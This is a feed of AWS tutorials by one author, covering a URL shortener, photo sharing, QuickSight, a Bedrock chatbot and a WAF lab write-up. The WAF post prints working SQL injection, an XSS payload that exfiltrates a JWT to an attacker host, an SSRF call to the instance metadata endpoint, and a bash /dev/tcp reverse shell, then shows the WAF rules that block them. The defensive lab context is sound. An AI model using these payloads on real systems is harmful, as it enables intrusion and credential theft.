DEV Community: Keyur Modi

Building a Serverless URL Shortener: A Practical AWS Project

Keyur Modi — Thu, 03 Apr 2025 03:18:33 +0000

A Step-by-Step Guide to Building a Production-Ready Service Using AWS Lambda, DynamoDB, and API Gateway

🎯 What We’re Building

Ever wondered how URL shorteners work? In this tutorial, we’ll build one from scratch using AWS serverless services. The best part? It’ll run completely within AWS’s free tier limits.

Key Features

Serverless architecture
Production-ready code
Scalable design
Cost-effective implementation
Complete infrastructure as code

Technologies We’ll Use

AWS Lambda
Amazon DynamoDB
Amazon API Gateway
Node.js
Serverless Framework

🚀 Getting Started

Prerequisites

Before we dive in, make sure you have:

✓ AWS Account (free tier eligible)
✓ Node.js 18.x or later
✓ AWS CLI installed & configured
✓ Serverless Framework
✓ Your favorite code editor

🏗️ Project Architecture

Let’s break down what’s happening in our architecture:

Client Layer sends requests to:

Create short URLs (POST /url)
Access shortened URLs (GET /{shortId})

API Gateway handles:

Request routing
Method validation
Traffic management

Lambda Functions manage:

URL creation
Redirection logic
Error handling

DynamoDB stores:

URL mappings
Creation timestamps
Optional expiry dates

💻 Implementation

Step 1: Project Setup

mkdir url-shortener
cd url-shortener
npm init -y
npm install @aws-sdk/client-dynamodb @aws-sdk/lib-dynamodb nanoid
npm install --save-dev serverless-offline

Step 2: Infrastructure Definition

Let’s create our serverless.yml configuration file:

service: url-shortener

provider:
  name: aws
  runtime: nodejs18.x
  region: us-east-1
  environment:
    DYNAMODB_TABLE: ${self:service}-${sls:stage}
  iam:
    role:
      statements:
        - Effect: Allow
          Action:
            - dynamodb:Query
            - dynamodb:Scan
            - dynamodb:GetItem
            - dynamodb:PutItem
          Resource: "arn:aws:dynamodb:${aws:region}:*:table/${self:provider.environment.DYNAMODB_TABLE}"

functions:
  createShortUrl:
    handler: handlers/create.handler
    events:
      - http:
          path: url
          method: post
          cors: true

  redirectToLongUrl:
    handler: handlers/redirect.handler
    events:
      - http:
          path: /{shortId}
          method: get
          cors: true

resources:
  Resources:
    UrlsTable:
      Type: AWS::DynamoDB::Table
      Properties:
        TableName: ${self:provider.environment.DYNAMODB_TABLE}
        AttributeDefinitions:
          - AttributeName: shortId
            AttributeType: S
        KeySchema:
          - AttributeName: shortId
            KeyType: HASH
        BillingMode: PAY_PER_REQUEST

Step 3: Core Functions Implementation

URL Creation Handler (handlers/create.js)

const { nanoid } = require('nanoid');
const { saveUrl } = require('../utils/dynamodb');

module.exports.handler = async (event) => {
try {
// Parse request body
const { url, customId } = JSON.parse(event.body);
```
// Validate input
if (!url) {
  return {
    statusCode: 400,
    body: JSON.stringify({ error: 'URL is required' }),
  };
}

// Validate URL format
try {
  new URL(url);
} catch (error) {
  return {
    statusCode: 400,
    body: JSON.stringify({ error: 'Invalid URL format' }),
  };
}

// Generate or use custom short ID
const shortId = customId || nanoid(8);

// Save URL mapping
const urlMapping = await saveUrl(shortId, url);

// Return success response
return {
  statusCode: 201,
  body: JSON.stringify({
    shortId,
    shortUrl: `${event.requestContext.domainName}/${shortId}`,
    originalUrl: url,
    createdAt: urlMapping.createdAt,
  }),
};
```
} catch (error) {
console.error('Error creating short URL:', error);
return {
statusCode: 500,
body: JSON.stringify({ error: 'Could not create short URL' }),
};
}
};
1. URL Redirect Handler (handlers/redirect.js)
const { getUrl } = require('../utils/dynamodb');

module.exports.handler = async (event) => {
try {
// Get shortId from path parameters
const { shortId } = event.pathParameters;
```
// Lookup URL mapping
const urlMapping = await getUrl(shortId);

// Handle not found
if (!urlMapping) {
  return {
    statusCode: 404,
    body: JSON.stringify({ error: 'Short URL not found' }),
  };
}

// Check for URL expiration
if (urlMapping.expiresAt && new Date(urlMapping.expiresAt) < new Date()) {
  return {
    statusCode: 410,
    body: JSON.stringify({ error: 'Short URL has expired' }),
  };
}

// Return redirect
return {
  statusCode: 301,
  headers: {
    Location: urlMapping.originalUrl,
  },
};
```
} catch (error) {
console.error('Error redirecting URL:', error);
return {
statusCode: 500,
body: JSON.stringify({ error: 'Could not redirect to URL' }),
};
}
};
1. DynamoDB Utility (utils/dynamodb.js)
const { DynamoDBClient } = require('@aws-sdk/client-dynamodb');
const { DynamoDBDocumentClient, PutCommand, GetCommand } = require('@aws-sdk/lib-dynamodb');

const client = new DynamoDBClient({});
const ddbDocClient = DynamoDBDocumentClient.from(client);

const TableName = process.env.DYNAMODB_TABLE;

async function saveUrl(shortId, originalUrl, expiresAt = null) {
const params = {
TableName,
Item: {
shortId,
originalUrl,
createdAt: new Date().toISOString(),
expiresAt: expiresAt?.toISOString() || null,
},
};

await ddbDocClient.send(new PutCommand(params));
return params.Item;
}

async function getUrl(shortId) {
const params = {
TableName,
Key: { shortId },
};

const { Item } = await ddbDocClient.send(new GetCommand(params));
return Item;
}

module.exports = {
saveUrl,
getUrl,
};

🚀 Deployment & Testing

Deployment

# Deploy the service
serverless deploy

# The output will show your API endpoints:
# POST - https://xxxxxx.execute-api.us-east-1.amazonaws.com/dev/url
# GET - https://xxxxxx.execute-api.us-east-1.amazonaws.com/dev/{shortId}

Testing Your Service

Create a short URL:

curl -X POST \
https://xxxxxx.execute-api.us-east-1.amazonaws.com/dev/url \
-H 'Content-Type: application/json' \
-d '{"url": "https://example.com/very/long/url"}'

Expected response:

{
  "shortId": "Km2i8_js",
  "shortUrl": "https://xxxxxx.execute-api.us-east-1.amazonaws.com/dev/Km2i8_js",
  "originalUrl": "https://example.com/very/long/url",
  "createdAt": "2024-11-18T10:30:00.000Z"
}

Use the short URL:

Simply open the shortUrl in your browser
Or use curl: curl -I https://xxxxxx.execute-api.us-east-1.amazonaws.com/dev/Km2i8_js

📈 Monitoring & Operations

CloudWatch Integration

Your Lambda functions automatically log to CloudWatch. Access logs at:

/aws/lambda/url-shortener-dev-createShortUrl
/aws/lambda/url-shortener-dev-redirectToLongUrl

Cost Management

Free Tier Limits:

1M Lambda requests/month
1M API Gateway requests/month
25GB DynamoDB storage

🔒 Security Best Practices

IAM Roles

Least privilege principle
Function-specific permissions
Regular audit

API Security

Input validation
Rate limiting
CORS configuration

Data Security

DynamoDB encryption at rest
HTTPS endpoints
No sensitive data storage

🚀 Going Further

Potential Enhancements

Custom Domains

Add to serverless.yml

custom:
customDomain:
domainName: short.yourdomain.com
certificateName: '*.yourdomain.com'
createRoute53Record: true
1. Analytics

Add view counting
Geographic tracking
Usage patterns

User Management

AWS Cognito integration
User-specific URLs
Access control

Advanced Features

URL expiration
Custom short URLs
QR code generation

💡 Pro Tips

Performance Optimization

Use AWS SDK v3
Implement caching
Optimize Lambda cold starts

Cost Optimization

Monitor usage
Set up alerts
Use provisioned capacity when needed

🎯 Common Pitfalls and Solutions

Deployment Issues

Double-check AWS credentials
Verify IAM permissions
Check service names

Performance Issues

Monitor cold starts
Implement warm-up
Use proper indexing

🔚 Conclusion

You now have a production-ready URL shortener service that’s:

Scalable to millions of requests
Cost-effective (free tier eligible)
Maintainable and extensible
Secured with proper IAM roles

The project demonstrates key AWS serverless concepts while providing a practical, useful service.

🔗 Resources

Serverless Photo-Sharing Application on AWS

Keyur Modi — Thu, 03 Apr 2025 03:14:48 +0000

In this project, I’ve developed a scalable, serverless photo-sharing application leveraging various AWS services. This application demonstrates a modern, cloud-native approach to building robust, secure, and cost-effective solutions for storing, processing, and sharing photos.

Architecture Overview

The application utilizes the following AWS services:

Amazon Cognito for user authentication
Amazon API Gateway for API management
AWS Lambda for serverless compute
Amazon S3 for photo storage
Amazon DynamoDB for metadata storage
Amazon CloudFront for content delivery
Amazon Rekognition for image analysis (optional)

Detailed Component Breakdown

1. User Authentication (Amazon Cognito)

Implements secure user sign-up, sign-in, and account management
Provides token-based authentication for API access
Supports social identity providers for enhanced user experience

2. API Management (Amazon API Gateway)

Manages RESTful API endpoints for the application
Integrates directly with Lambda functions
Implements API key management and usage plans for rate limiting

3. Serverless Compute (AWS Lambda)

Three main Lambda functions handle core functionality:

a) Upload Handler:
— Processes incoming photos
— Stores original photos in S3
— Records metadata in DynamoDB

b) Thumbnail Generator:
— Triggered by S3 events on new uploads
— Creates resized versions of uploaded images
— Stores thumbnails back in S3

c) Sharing Handler:
— Generates and manages sharing URLs
— Creates signed URLs for secure, time-limited access

4. Photo Storage (Amazon S3)

Scalable object storage for original photos and processed versions
Configured with appropriate lifecycle policies for cost optimization
Versioning enabled for data protection and recovery

5. Metadata Storage (Amazon DynamoDB)

NoSQL database storing photo metadata (user ID, timestamps, sharing status)
Supports high-throughput read/write operations
Utilizes Global Secondary Indexes for efficient querying

6. Content Delivery (Amazon CloudFront)

Global CDN for fast and secure delivery of photos
Edge caching to reduce latency and backend load
HTTPS enforcement and signed URLs for secure access to shared photos

7. Image Analysis (Amazon Rekognition) — Optional

AI-powered image recognition for auto-tagging and content moderation
Integrated with the upload workflow for real-time processing

Implementation Guide

Step 1: Set Up User Authentication

Open the Amazon Cognito console
Create a new User Pool — Configure sign-in options (email, username) — Set password policies — Enable Multi-Factor Authentication if desired
Create an App Client for your application
Note the User Pool ID and App Client ID

Step 2: Create S3 Buckets

Open the Amazon S3 console
Create two buckets: — original-photos-bucket — processed-photos-bucket
Configure CORS on both buckets
Set up lifecycle rules for cost optimization

Step 3: Set Up DynamoDB

Create a new table named PhotoMetadata
Set primary key as photoId (String)
Add a Global Secondary Index on userId
Enable DynamoDB Streams for real-time processing

Step 4: Create Lambda Functions

Create the following Lambda functions:

P.S. this is a basic code

a) uploadHandler:

const AWS = require('aws-sdk');
const s3 = new AWS.S3();
const dynamo = new AWS.DynamoDB.DocumentClient();

exports.handler = async (event) => {
  const body = JSON.parse(event.body);
  const photoId = generateUniqueId();
  const userId = event.requestContext.authorizer.claims.sub;

  // Upload to S3
  await s3.putObject({
    Bucket: 'original-photos-bucket',
    Key: `${userId}/${photoId}`,
    Body: Buffer.from(body.image, 'base64'),
    ContentType: 'image/jpeg'
  }).promise();

  // Save metadata to DynamoDB
  await dynamo.put({
    TableName: 'PhotoMetadata',
    Item: {
      photoId: photoId,
      userId: userId,
      timestamp: new Date().toISOString(),
    }
  }).promise();

  return {
    statusCode: 200,
    body: JSON.stringify({ photoId: photoId })
  };
};

b) thumbnailGenerator:

const AWS = require('aws-sdk');
const sharp = require('sharp');
const s3 = new AWS.S3();

exports.handler = async (event) => {
  const bucket = event.Records[0].s3.bucket.name;
  const key = decodeURIComponent(event.Records[0].s3.object.key.replace(/\+/g, " "));

  const image = await s3.getObject({ Bucket: bucket, Key: key }).promise();

  const resizedImage = await sharp(image.Body)
    .resize(200, 200, { fit: 'inside' })
    .toBuffer();

  await s3.putObject({
    Bucket: 'processed-photos-bucket',
    Key: `thumbnails/${key}`,
    Body: resizedImage,
    ContentType: 'image/jpeg'
  }).promise();
};

c) shareHandler:

const AWS = require('aws-sdk');

const dynamo = new AWS.DynamoDB.DocumentClient();

const cloudFront = new AWS.CloudFront.Signer(process.env.CF_KEY_PAIR_ID, process.env.CF_PRIVATE_KEY);

exports.handler = async (event) => {

  const photoId = event.pathParameters.photoId;

  const userId = event.requestContext.authorizer.claims.sub;

// Verify ownership

  const result = await dynamo.get({

    TableName: 'PhotoMetadata',

    Key: { photoId: photoId }

  }).promise();

if (result.Item.userId !== userId) {

    return { statusCode: 403, body: 'Access denied' };

  }

// Generate signed URL

  const url = cloudFront.getSignedUrl({

    url: https://your-cf-distribution.cloudfront.net/${photoId},

    expires: Math.floor((Date.now() + 86400000) / 1000) // 24 hours from now

  });

return {

    statusCode: 200,

    body: JSON.stringify({ url: url })

  };

};

Step 5: Configure API Gateway

Create a new REST API
Set up resources and methods: — POST /photos (for uploads) — GET /photos (for listing user’s photos) — POST /photos/{photoId}/share (for sharing)
Integrate each endpoint with the corresponding Lambda function
Enable CORS and deploy the API

Step 6: Set Up CloudFront

Create a new Web distribution
Set Origin to your processed-photos S3 bucket
Configure Viewer Protocol Policy to redirect HTTP to HTTPS
Restrict Bucket Access and create a new Origin Access Identity
Update the S3 bucket policy to allow access from the CloudFront OAI

Step 7: Integrate Amazon Rekognition (Optional)

Update the uploadHandler Lambda function to call Rekognition for image analysis
Store the resulting tags in the DynamoDB metadata

Step 8: Frontend Development

Create a web application using React or Vue.js
Implement user authentication flow using Amazon Cognito SDK
Develop UI for photo upload, gallery view, and sharing functionality
Integrate with your API Gateway endpoints for backend operations

Security Considerations

Implement least privilege access for all IAM roles
Use Cognito User Pools for secure user authentication
Encrypt data at rest in S3 and DynamoDB
Use HTTPS for all communications
Implement proper error handling and input validation in Lambda functions

Monitoring and Optimization

Set up CloudWatch dashboards for key metrics
Configure alarms for critical thresholds (e.g., API errors, Lambda duration)
Use X-Ray for distributed tracing
Regularly review and optimize: — Lambda memory/timeout settings — DynamoDB capacity — S3 storage classes

Conclusion

This serverless photo-sharing application demonstrates the power of cloud-native architecture on AWS. It offers scalability, cost-effectiveness, and eliminates traditional server management overhead. The combination of managed services provides high availability, automatic scaling, and robust security, making it an ideal solution for modern web applications.

Leveraging AWS WAF to Defend an Insecure Web App

Keyur Modi — Wed, 02 Apr 2025 05:17:04 +0000

This blog is based on the hands-on lab Leveraging AWS WAF to Defend an Insecure Web App from QA's cloud security training platform. Special thanks to QA for providing such an insightful and practical experience.

🚀 Introduction

Modern web applications are highly dynamic and fast-moving, often deployed in cloud environments like AWS. With such speed, security can sometimes take a backseat during early product development. This can leave the application vulnerable to well-known attack vectors like SQL Injection, XSS, SSRF, and Remote Code Execution (RCE).

In this blog, I will walk you through a detailed, hands-on project where I acted as a Cloud Security Engineer to secure a deliberately insecure web application. The application was deployed using Terraform and hosted on AWS. My primary defense mechanism was AWS WAF (Web Application Firewall), which I used to detect and mitigate OWASP Top 10 vulnerabilities. This project not only demonstrated real-world exploits but also highlighted how WAF can be used as a first line of defense.

🌐 Architecture Overview

Before we dive into the attacks and defenses, let’s understand the application's infrastructure:

Before WAF

The app had no protections and was fully exposed to the internet. Here's a look at the architecture:

2 EC2 Instances:
- ide.cloudacademy.platform.instance: Used for deploying the infrastructure and coding.
- hacker.cloudacademy.platform.instance: Used to simulate real-world attacks.
Application Load Balancer (ALB):
- Listens on port 80
- Forwards traffic to frontend (port 80) and backend API (port 8080)
Target Groups:
- One for React frontend (served with Nginx)
- One for Spring Boot backend (Java 17)
PostgreSQL Database

After WAF

Once AWS WAF rules were in place, malicious requests were filtered at the ALB level, preventing them from ever reaching the EC2 instances.

🔧 Deploying the App

The infrastructure was provisioned using Terraform. Here's the process:

Cloned the repositories:

git clone https://github.com/cloudacademy/insecure-webapp-infra.git
git clone https://github.com/cloudacademy/insecure-webapp.git

Deployed the infra using:

cd insecure-webapp-infra && ls -la
terraform init
terraform apply

Terraform took care of provisioning:

EC2 Instances
ALB and Target Groups
PostgreSQL
Security Groups and IAM Roles

After deployment, I was able to access the application through the ALB DNS.

🚨 Identifying Vulnerabilities (Offensive Security)

Now the fun part: exploiting the app.

1. SQL Injection

The login page accepted SQL queries. I injected this payload into the username field:

alice'; update users set password=md5('qwerty123') --

This reset Alice's password, proving the SQL injection worked.

2. Cross-Site Scripting (XSS)

Using this payload in the comments section:

<img src='.' onerror=fetch('http://attacker-ip:22100/'+localStorage["ca.webapp.auth.session"])>

I was able to exfiltrate a logged-in user's JWT token to my attacker terminal.

3. Server-Side Request Forgery (SSRF)

The web app had a "Coder" feature that executed Python scripts. I ran this:

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

I accessed the EC2 instance’s metadata and leaked temporary IAM credentials.

4. Remote Code Execution (RCE)

In the AsciiArt generator, I entered:

pwned; bash -i >& /dev/tcp/attacker-ip/443 0>&1

This opened a reverse shell to my attacker EC2, giving me root access.

🛡️ Defending with AWS WAF

After confirming each vulnerability, I turned to AWS WAF to build defenses.

Step 1: Create Web ACL

Region: us-west-2
Associated with ALB

Step 2: Add Rules

Each rule was built using the Rule Builder:

✅ SQL Injection

Inspect: JSON body
Field: /username
Match type: Contains SQL injection attacks
Sensitivity: High

✅ XSS

Inspect: JSON body
Field: /body
Match type: Contains XSS attacks

✅ SSRF

Inspect: /code
Match regex: 169\.254\.169\.254

✅ Command Injection

Inspect: /text
Regex: [^a-zA-Z\d\s:]
Matches characters like ;, &, |, used in shell injections

All rules were set to Block.

🔍 Re-testing the Exploits (Defensive Validation)

I reran each attack with Developer Tools open.

SQLi: Blocked with 403
XSS: Blocked and stripped
SSRF: No metadata leaked
RCE: No reverse shell; connection refused

Each attack attempt was blocked before reaching the EC2 instance. WAF did its job.

💡 Key Takeaways

Security must be built-in, even for MVPs.
AWS WAF is powerful for layer 7 protections.
Terraform helps scale consistent deployments.
Detection and blocking should happen as early as possible in the request lifecycle.

📄 Resources

Thanks for reading! If you found this helpful, follow me for more cloud security projects and hands-on labs.

Netflix Data Visualization using Amazon QuickSight

Keyur Modi — Sun, 30 Mar 2025 18:24:58 +0000

As data becomes increasingly central to business decisions, the ability to create compelling visualizations is more valuable than ever. In this guide, I’ll walk you through my recent experience with Amazon QuickSight, AWS’s cloud-based business intelligence service, using Netflix content data as an example.

What is Amazon QuickSight?

Amazon QuickSight is a powerful cloud-based business intelligence service that enables users to create and share interactive dashboards and reports. What makes it particularly attractive is its seamless integration with AWS services and its scalability. Whether you’re analyzing a small dataset or working with enterprise-level data, QuickSight can handle it while maintaining the ease of use that’s crucial for both beginners and experienced analysts.

Project Setup: Getting Started with QuickSight

1. Setting Up Your Environment

The first step was creating a QuickSight account, which comes with a 30-day free trial. The setup process took about 5 minutes, including the necessary step of enabling access to my S3 bucket.

2. Data Preparation

For this project, I worked with two key files:

netflix_titles.csv: The main dataset containing Netflix content information
manifest.json: A configuration file that tells QuickSight where to find and how to read the data

One important lesson learned: The manifest.json file plays a crucial role in connecting QuickSight to your data. It’s essential to ensure your S3 URI is correctly specified in this file, as an outdated or incorrect URI can prevent access to your data.

3. Connecting to Your Data Source

After setting up the S3 bucket, the next step was connecting it to QuickSight. This is done through the Datasets section in QuickSight.

Creating Visualizations: A Step-by-Step Guide

First Visualization: Release Year Distribution

My first visualization was a donut chart showing the distribution of Netflix content across release years.

Here’s how I created it:

Selected the donut chart type from the Visuals menu
Dragged the release_year field to the category section
The resulting chart provided a clear breakdown of content distribution across the top 20 release years

Using Filters Effectively

One of the most valuable features I discovered was filtering. For my second visualization, I created a filtered view showing the count of TV shows and movies in specific categories.

The key learning here was that filters help narrow down data to focus on specific aspects, making your visualizations more meaningful and easier to understand.

Building the Final Dashboard

The final step was combining these visualizations into a cohesive dashboard. Here are some best practices I followed:

Edited graph titles to clearly communicate the purpose of each visualization
Arranged visualizations logically to tell a story with the data
Used the export function to save the dashboard as a PDF for sharing

Unexpected Challenges and Learnings

While QuickSight is generally user-friendly, I did encounter some navigation challenges. The interface took some time to get familiar with, but once I understood the basic workflow, creating visualizations became much more intuitive.

The entire project took approximately 2 hours to complete, including:

Initial setup
Data preparation
Creating visualizations
Dashboard assembly
Final adjustments

Tips for Success

Based on my experience, here are some key tips for working with QuickSight:

Ensure your data source connections are properly configured before starting
Take time to understand the relationship between your data fields
Use filters strategically to focus on the most relevant data
Pay attention to chart titles and labels for clarity
Save your work frequently

Conclusion

Amazon QuickSight proves to be a valuable tool for data visualization, especially for those already working within the AWS ecosystem. While there is a learning curve, the platform’s capabilities make it worth the initial investment of time.

The ability to quickly create interactive dashboards, combined with the scalability of AWS, makes QuickSight a strong contender in the business intelligence space. Whether you’re a data analyst, business professional, or just getting started with data visualization, QuickSight offers the tools needed to transform raw data into meaningful insights.

Have you used Amazon QuickSight or other visualization tools? I’d love to hear about your experiences in the comments below.

Build an AI-Powered Chatbot with Amazon Lex, Bedrock, S3 and RAG

Keyur Modi — Sun, 30 Mar 2025 14:17:08 +0000

In this comprehensive tutorial, we’ll build a powerful AI chatbot that leverages AWS services to provide intelligent responses based on your organization’s documents. Using Retrieval Augmented Generation (RAG), we’ll create a system that not only understands questions but provides accurate answers from your specific documentation.

Solution Architecture

Let’s start by understanding the overall architecture of our solution:

Core Components and Data Flow

Amazon S3

Stores source PDF documents
Provides secure, scalable document storage
Acts as the foundation of our knowledge base

Amazon Bedrock & Knowledge Base

Orchestrates the RAG workflow
Processes queries using Claude V2
Manages document retrieval and response generation

Titan Embeddings

Converts documents and queries into vector embeddings
Enables semantic understanding of content
Processes documents for vector representation

Amazon OpenSearch

Functions as our vector store
Enables efficient similarity search
Indexes processed document embeddings

Amazon Lex

Handles the conversational interface
Manages natural language understanding
Routes queries through appropriate intents

IAM Roles

Manages cross-service permissions
Ensures secure communication
Controls resource access

Prerequisites

Before we begin implementation, ensure you have:

An AWS account (non-root user with admin privileges)
Access to these Bedrock models:

Titan Embeddings G1 Text
Claude V2

Basic familiarity with AWS services

⚠️ Important Region Note: This implementation must be done in the US East (N. Virginia) us-east-1 region as some required Bedrock models may not be available in other regions. Make sure to switch to us-east-1 before starting the implementation.

Cost Considerations

Understanding the cost structure is crucial for planning:

Amazon Bedrock: $0.08 per 1,000 input tokens (Claude V2)
Amazon Lex: Free tier includes 10,000 text requests and 5,000 speech requests
Amazon S3: Free tier eligible, then $0.023 per GB
OpenSearch Serverless: Pricing based on OCU hours

For development and testing, costs should remain minimal.

Implementation Steps

1. Document Storage Setup (S3)

Navigate to S3 console
Create a new bucket
Upload your PDF documents

Note the bucket name for later use

2. Knowledge Base Configuration (Bedrock)

Before creating our knowledge base, we need to ensure we have access to the required models in Bedrock.

2.1 Request Model Access

Navigate to Amazon Bedrock in us-east-1 region
Go to Model access in the left navigation
Click “Manage model access”

Request access to these models if you haven’t already:

Anthropic Claude V2 (under Anthropic section)
Titan Embeddings G1 — Text (under Amazon section)

Select the models and click “Request model access”
Wait for access to be granted (usually takes a few minutes)

**Note: If you don’t have access to a model, you’ll see a message saying “This account doesn’t have access to this model” when you hover over it. Click the provided link to request access.

2.2 Create Knowledge Base

In Bedrock console, go to Knowledge bases in the left navigation
Click “Create knowledge base”
Name Knowledge base or leave default
For permissions:

IAM permissions: Create and use a new service role

2.3 Configure Data Source

In the data source section:

Data source: Amazon S3
Source: This AWS account
S3 bucket: Select your ‘ai-powered-bot’ bucket

2.4 Configure Embeddings and Vector Store

Select embeddings model:

Embeddings model: Titan Embeddings G1 — Text
Provider: Amazon

Configure vector database:

Vector store creation: Quick create a new vector store (Recommended)

2.5 Review and Create

Review all configurations
Click “Create knowledge base”
Wait for the knowledge base to be created (this may take a few minutes)

2.6 Sync Data Source

Once the knowledge base is created, you’ll see a success message
Click “Go to data sources” in the success message
Select your data source
Click “Sync” to start indexing your documents
Wait for the sync to complete (time varies based on document size)

**Important: The sync process converts your documents into embeddings and stores them in the vector database. This is crucial for enabling semantic search capabilities.

2.7 Verify Knowledge Base Status

Check the status of your knowledge base:

Go to Knowledge bases
Look for your knowledge base
Status should show “Available”

Note your Knowledge base ID (you’ll need this for Lex configuration)

Troubleshooting Common Issues

Model Access Issues:

Ensure you’re in us-east-1 region
Verify model access status in Model access page
Wait a few minutes after requesting access before retrying

Data Source Sync Failed:

Check IAM role permissions
Verify S3 bucket accessibility
Ensure documents are in supported format (PDF)

Vector Store Creation Failed:

Check service quotas
Verify OpenSearch Serverless availability
Ensure IAM role has necessary permissions

3. Chatbot Implementation (Lex)

3.1 Initial Bot Creation

Navigate to Amazon Lex in us-east-1 region
Click “Create bot”

Creation method: Start with a blank bot (Traditional)
Runtime role: Create new role

3.2 Language Configuration

3.3 Configure Welcome Intent

Create a new intent
Add sample utterances:

Click “+” to add each utterance

Configure initial response

Configure conversation flow:

Wait for user response: Enable

Click “Save intent”

3.4 Configure QnA Intent

Configure QnA settings:

Select model:
Provider: Anthropic
Model: Claude V2

Knowledge store:
Type: Knowledge base for Amazon Bedrock
Knowledge base ID: [Your Bedrock knowledge base ID]

4. Testing and Validation

Click “Build” to compile your bot configuration
Once built, click “Test” to open the test console

RAG Implementation Details

Our implementation uses RAG to provide accurate, document-based responses:

Document Processing

Documents uploaded to S3
Titan Embeddings creates vector representations
Vectors stored in OpenSearch

Query Processing

User query received by Lex
Query converted to embeddings
Similar content retrieved from vector store
Claude V2 generates contextual response

Response Generation

Combines retrieved content with language model capabilities
Ensures responses are grounded in your documents
Maintains accuracy while providing natural responses

Best Practices

Document Management

Keep documents well-structured
Regular content updates
Consistent formatting
Clear section headers

Performance Optimization

Regular knowledge base syncs
Monitor response times
Track usage patterns
Adjust confidence thresholds

Security Considerations

Implement least-privilege IAM roles
Regular security audits
Monitor access patterns
Encrypt sensitive data

Cleanup Process

To avoid ongoing charges:

Delete Bedrock knowledge base
Remove S3 bucket and contents
Delete Lex bot configuration
Delete associated IAM roles

Future Enhancements

Consider these potential improvements:

Multi-language support
Custom response templates
Integration with existing systems
Advanced analytics and monitoring
A/B testing for responses
Conversation history management

Conclusion

By combining Amazon Lex, Bedrock, and S3 with RAG architecture, we’ve created a powerful, intelligent chatbot that can accurately answer questions based on your documentation. This implementation demonstrates the potential of AI-powered document interaction while maintaining control over the knowledge base.

The architecture allows for scalability and customization, making it suitable for various use cases from internal documentation to customer support.

🙌 Acknowledgement
Special thanks to Tiny Technical Tutorials for their great walkthrough that inspired this guide!

For more AWS tutorials and technical implementations, follow me and stay tuned for advanced features and optimizations.

DEV Community: Keyur Modi

Building a Serverless URL Shortener: A Practical AWS Project

🎯 What We’re Building

Key Features

Technologies We’ll Use

🚀 Getting Started

Prerequisites

🏗️ Project Architecture

💻 Implementation

Step 1: Project Setup

Step 2: Infrastructure Definition

Step 3: Core Functions Implementation

🚀 Deployment & Testing

Deployment

Testing Your Service

📈 Monitoring & Operations

CloudWatch Integration

Cost Management

🔒 Security Best Practices

🚀 Going Further

Potential Enhancements

Add to serverless.yml

💡 Pro Tips

🎯 Common Pitfalls and Solutions

🔚 Conclusion

🔗 Resources

Serverless Photo-Sharing Application on AWS

In this project, I’ve developed a scalable, serverless photo-sharing application leveraging various AWS services. This application demonstrates a modern, cloud-native approach to building robust, secure, and cost-effective solutions for storing, processing, and sharing photos.

Architecture Overview

Detailed Component Breakdown

1. User Authentication (Amazon Cognito)

2. API Management (Amazon API Gateway)

3. Serverless Compute (AWS Lambda)

4. Photo Storage (Amazon S3)

5. Metadata Storage (Amazon DynamoDB)

6. Content Delivery (Amazon CloudFront)

7. Image Analysis (Amazon Rekognition) — Optional

Implementation Guide

Step 1: Set Up User Authentication

Step 2: Create S3 Buckets

Step 3: Set Up DynamoDB

Step 4: Create Lambda Functions

Step 5: Configure API Gateway

Step 6: Set Up CloudFront

Step 7: Integrate Amazon Rekognition (Optional)

Step 8: Frontend Development

Security Considerations

Monitoring and Optimization

Conclusion

Leveraging AWS WAF to Defend an Insecure Web App

🚀 Introduction

🌐 Architecture Overview

Before WAF

After WAF

🔧 Deploying the App

🚨 Identifying Vulnerabilities (Offensive Security)

1. SQL Injection

2. Cross-Site Scripting (XSS)

3. Server-Side Request Forgery (SSRF)

4. Remote Code Execution (RCE)

🛡️ Defending with AWS WAF

Step 1: Create Web ACL

Step 2: Add Rules

✅ SQL Injection

✅ XSS

✅ SSRF

✅ Command Injection

🔍 Re-testing the Exploits (Defensive Validation)

💡 Key Takeaways

📄 Resources

Netflix Data Visualization using Amazon QuickSight

What is Amazon QuickSight?

Project Setup: Getting Started with QuickSight

1. Setting Up Your Environment

2. Data Preparation

3. Connecting to Your Data Source

Creating Visualizations: A Step-by-Step Guide

First Visualization: Release Year Distribution

Using Filters Effectively

Building the Final Dashboard